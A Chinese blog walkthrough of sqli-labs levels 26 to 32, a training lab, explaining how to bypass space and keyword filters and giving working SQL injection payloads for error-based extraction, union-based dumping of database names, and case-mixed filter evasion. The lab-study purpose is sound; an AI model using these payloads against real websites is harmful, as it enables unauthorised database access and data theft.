sqli-labs26-32

最新推荐文章于 2024-08-25 14:14:12 发布

kongkong空

最新推荐文章于 2024-08-25 14:14:12 发布

阅读量558

点赞数

分类专栏：靶场学习 PHP代码审计

本文链接：https://blog.csdn.net/qq_34640691/article/details/109510508

版权

本文详细介绍了在sqli-labs挑战中，从26关到32关的SQL注入攻防技巧。涉及空格绕过、布尔型测试、报错注入、时间盲注、数据库名爆破、服务器双层结构解析、宽字节注入等关键知识点，并给出了各关卡的代码分析和payload示例。

摘要由CSDN通过智能技术生成

26关开始推荐使用linux下搭建的sqli-labs环境，因为涉及到绕过空格使用的解析字符问题，Windows环境会有问题

代码分析
在这里插入图片描述
空格的绕过方法：

+也可以代替空格

以下这些在windows+apache环境下解析会出问题???
%09 TAB 键（水平） 
%0a 新建一行 
%0c 新的一页 
%0d return 功能 
%0b TAB 键（垂直） 

%a0 空格(长payload出问题）原因不知

由于不能使用注释符，可以构造一个’payload’

1.基于布尔测试漏洞是否存在
在这里插入图片描述
2.使用报错注入或者时间盲注

0'+||extractvalue(1,concat(0x5c,version()))||'1'='1 
#下边的注入过程替换报错语句内容即可，注意绕过or

在这里插入图片描述

代码分析
在这里插入图片描述

构造payload

111')union%a0select%a01,database(),('3
#用%a0代替空格，database()可以替换成之前用的sql注入语句

在这里插入图片描述
爆破所有数据库名

100')union%a0select%a01,(select%a0group_concat(schema_name)%a0from%a0infoorrmation_schema.schemata),('3

在这里插入图片描述

代码分析
在这里插入图片描述

100'unION%a0SelECT%a01,user(),3||'

关注

专栏目录